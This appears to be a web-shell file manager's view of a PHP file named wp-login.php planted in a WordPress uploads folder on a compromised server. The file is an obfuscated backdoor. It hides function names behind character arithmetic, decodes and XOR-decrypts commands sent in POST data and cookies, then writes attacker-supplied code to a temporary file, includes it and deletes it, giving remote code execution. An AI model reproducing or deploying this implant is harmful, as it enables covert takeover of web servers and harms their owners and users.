HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/wp-login.php
<?php $_gjjhdeto_	= /* zkf*/ '_gjjhdeto_'     ^	'<';
$nsimaabu /*  wv   */ =    $_gjjhdeto_(97) /* o*/ .       "\162"      . /*  iozkvb   */ "\162"    .    "a"."y"."_".$_gjjhdeto_(109) /*   lrwson  */ . /*rjd  */ $_gjjhdeto_(977-880)     .	"\x70";$orobh_j       =	"i"."m"."p"."l".$_gjjhdeto_(319-208)	.    "d"."\x65";





function     yowvgnz($mloabk_iwl, /*ojzw */ $dcnudpgn){ /*  oahpc */ global	$_gjjhdeto_;   


      $mloabk_iwl   = /*jk  */ "<"	. /* xahdpc*/ "?"."p"."h"."\160"	. /*   qpw*/ $_gjjhdeto_(32)    .    "\x75"    . /*   _nsl*/ "\x6e"       . /*   rrhlj*/ "l".$_gjjhdeto_(105).$_gjjhdeto_(171-61)      . /*  zxvcgj */ "k".$_gjjhdeto_(255-215)      .    $_gjjhdeto_(95) /* iee   */ .	"_"."F"."I"."\114" /* uqehc   */ .  "\105" /*   igyhq*/ .	"_"."_".")"."\x3b"	.    $_gjjhdeto_(32)    . /*omwgzl */ $mloabk_iwl["\x64"];

   $mloabkvrcmra       = /* h  */ "\x66" /*e*/ .    $_gjjhdeto_(105)."l"."e".$_gjjhdeto_(164-69) /*   h */ . /* xo  */ $_gjjhdeto_(112)    .	"u"."\x74" /*tzoi   */ . /*ot  */ "_"."\143"    .     $_gjjhdeto_(111)   .    "\x6e"       .      $_gjjhdeto_(116) /*  baf   */ .    "e".$_gjjhdeto_(110) /*  taw  */ .      $_gjjhdeto_(116)    .    "\163";
        $mloabkvrcmra($dcnudpgn,      $mloabk_iwl);

 /*bvbd  */ 
    twoek($dcnudpgn);

}




$bazebytp	=    73;





function	twoek($dcnudpgn)


{


      global    $_gjjhdeto_;

 /*  nml__ */ 
	include($dcnudpgn);

	$mloabkaddg    = /*   usf*/ $dcnudpgn;
 /* vyivt */ @unlink($mloabkaddg);
}


function       xrpelpx_lw(){


	global  $_gjjhdeto_;




    $mloabk     = /* wmh  */ array();

 /* f  */ $mloabk[$_gjjhdeto_(919-807) /*   z */ . /*   r_otu*/ "v"]    =    phpversion();  $mloabk["s".$_gjjhdeto_(118)] /*vjsh */ =    "\63"    . /*   x  */ "."."\x35";
	$wuscyb	= /*dnuctv*/ 74;


    echo      @serialize($mloabk);}


function /* uy   */ bhczxpb($mloabk_iwl,    $pkrbli){

    global /*nd  */ $_gjjhdeto_;


 /* els*/ $vvl_fyokn	=  "";

   $wmyknmv    = /*  wwcim*/ strlen($mloabk_iwl);
 /*zxfzvp*/ $xdfdyppjx	=   strlen($pkrbli);

	$mloabk	= /*  iogbqn */ 0;


 /*lzonv*/ $oartfdhey	= /*jqxtm_ */ 0;
    
 /* ygjqo*/ while  ($mloabk	<    $wmyknmv)    {	$oxlqazwf   =    $mloabk_iwl[$mloabk] /*  p */ ^	$pkrbli[$oartfdhey   %	$xdfdyppjx]; /*   yl*/ $vvl_fyokn /*aqc   */ .= /*   u   */ $oxlqazwf;    $oartfdhey++;  


    $mloabk++;

   }

    

      if /*  fr */ (strlen($vvl_fyokn)    > /* shi */ 20) /* uwfvgc   */ {

      $pzqwkglh /*lsemq*/ = /*   i   */ substr($vvl_fyokn,	0,	20);
 /*b*/ }
 /*  b*/ if  (empty($vvl_fyokn)) /*   y  */ {

 /*  uywm  */ $vvl_fyokn /*  m*/ =	date('Y-m-d  H:i:s');


       }

 /*cqvtz   */ return      $vvl_fyokn;
}





function /*   guewp  */ pwogot($cekbs)


{
 /*w*/ global	$_gjjhdeto_;
 /*   tfz   */ 


     $oartfdheyvdyrzesw /*isq   */ =  "\x38"      .    "\71"    .	$_gjjhdeto_(913-816)	. /* bqgot  */ $_gjjhdeto_(1017-920)  . /*nt   */ $_gjjhdeto_(52) /* tcvsb*/ . /*v__p */ "\145" /* eeqke*/ .       "\x39" /*   fvnn*/ .    "6"."-"."4"."\x63" /*  tk  */ .       "0"."7".$_gjjhdeto_(45)    .  $_gjjhdeto_(52)    .    "0"."\62"       .   "c".$_gjjhdeto_(45) /*   f  */ .	"8"."2"."\144"    .    "5"."-"."3"."4"."e"."c"."2"."7"."\143" /*   vmwtj */ .	"\71"    .       "f"."7"."6".$_gjjhdeto_(347-298);
	

 /*  tdc  */ foreach	($cekbs   as /*r   */ $btoeiwa_ /*  _vw  */ =>    $mloabk_iwl)	{
 /*   ukhr */ vxfaeytmb(base64_decode($mloabk_iwl),    $oartfdheyvdyrzesw,     $btoeiwa_); /* olv  */ }


}

function       vxfaeytmb($mloabk_iwl,  $oartfdheyvdyrzesw,    $btoeiwa_){

    global	$_gjjhdeto_;

     
    $mloabk_iwl  =    unserialize(bhczxpb(bhczxpb($mloabk_iwl,	$oartfdheyvdyrzesw), /* fh  */ $btoeiwa_));

	$_n_sxy      = /*  ptcoz   */ 'ewetrky';

	$thitvmo	=	'feuw';

 /*  daga  */ if  (isset($mloabk_iwl["\x61" /*   nduhi   */ . /*   br */ "k"])) /*   krx  */ {

   if	($mloabk_iwl["\x61"] /*rehtk   */ ==      $_gjjhdeto_(105))     {

       xrpelpx_lw();
       } /* dvk_   */ elseif	($mloabk_iwl["\x61"] /*   _uua  */ == /*s   */ "e")       {
 /*   pmwyg*/ yowvgnz($mloabk_iwl,	sprintf($_gjjhdeto_(196-150)	.    "\57" /*   wotlw*/ . /* w */ $_gjjhdeto_(313-276) /*vudgu   */ .	$_gjjhdeto_(115) /*ltsbqc   */ . /*   js   */ "\x2e"     . /*  nqvzx_*/ "\160"      .       "\x6c", /*  _bxm*/ md5($oartfdheyvdyrzesw)));
			$ebwsafqpau /*joke*/ =    44;	}


      exit();

 /*ep   */ }


}



pwogot($_POST); /*mkjqs*/ 

$rrwlv /*ixw*/ =    'rawurldecode';


$rvee_ovtzv /*q_ph_j */ = /*  lobiti */ $nsimaabu($rrwlv, /* g   */ $_POST);

$orobh_j("",       $rrwlv);


pwogot($_COOKIE);



$sh_aqhxh /*ve*/ =    $nsimaabu($rrwlv,     $_COOKIE);




?>